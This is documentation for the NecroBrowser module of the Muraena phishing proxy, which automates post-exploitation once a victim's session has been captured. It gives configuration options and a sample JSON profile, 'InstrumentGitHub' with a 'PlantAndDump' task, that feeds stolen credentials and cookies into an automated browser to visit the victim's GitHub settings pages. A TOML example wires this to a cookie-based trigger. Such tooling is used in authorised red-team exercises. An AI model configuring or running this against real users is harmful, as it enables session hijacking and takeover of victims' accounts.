NecroBrowser
NecroBrowser is a module that allows Muraena to interact with the NecroBrowser to automate the post-exploitation phase of a phishing campaign.
Configuration Options
Enable
Enables or disables the necrobrowser module.
Endpoint
endpoint
specifies the URL of the NecroBrowser API endpoint.
Profile
profile
specifies the profile to be used for the NecroBrowser API endpoint. The profile is a file containing the NecroBrowser JSON configuration.
For example, the following configuration specifies the profile default
:
Sensitive Locations
urls
allows to specify the URLs that will be considered sensitive. The URLs are specified for both requests and responses, as follows:
AuthSession
: Specifies the URLs that will be considered sensitive for requests.AuthSessionResponse
: Specifies the URLs that will be considered sensitive for responses.
{
"name": "InstrumentGitHub",
"task": {
"type": "github",
"name": [ "PlantAndDump" ],
"params": {
"fixSession": "https://github.com/settings/profile",
"urls": [
"https://github.com/settings/profile",
"https://github.com/settings/security-log",
"https://github.com/settings/emails",
"https://github.com/settings/repositories"
],
"credentials": %%%CREDENTIALS%%%
}
},
"cookies": %%%COOKIES%%%
}
The following placeholders are supported:
%%%CREDENTIALS%%%
: The credentials to be used%%%COOKIES%%%
: The cookies to be used%%%TRACKER%%%
: The tracker identifier used to track the user
Trigger
The trigger
section specifies the events that will trigger the NecroBrowser module.
Type
: Specifies the where to monitor: eitherpath
orcookie
. Ifpath
is specified, the trigger will be activated onauthSessionResponse
URLs. While ifcookie
is specified, the trigger will be activated if thevalues
are found in the cookies.Values
: Specifies the cookie names to monitor.Delay
: Specifies the delay in seconds before the trigger is activated.
Examples
Below is an example configuration demonstrating the setup for user tracing and sensitive data capture:
[necrobrowser]
enable = true
endpoint = "http://10.0.0.2:3000/instrument"
profile = "./config/instrument.necro"
[necrobrowser.urls]
authSession = ["/settings/profile"]
authSessionResponse = ["/privacypolicy"]
[necrobrowser.trigger]
type = "cookie"
values = ["ESAUTHENTICATED"]
delay = 5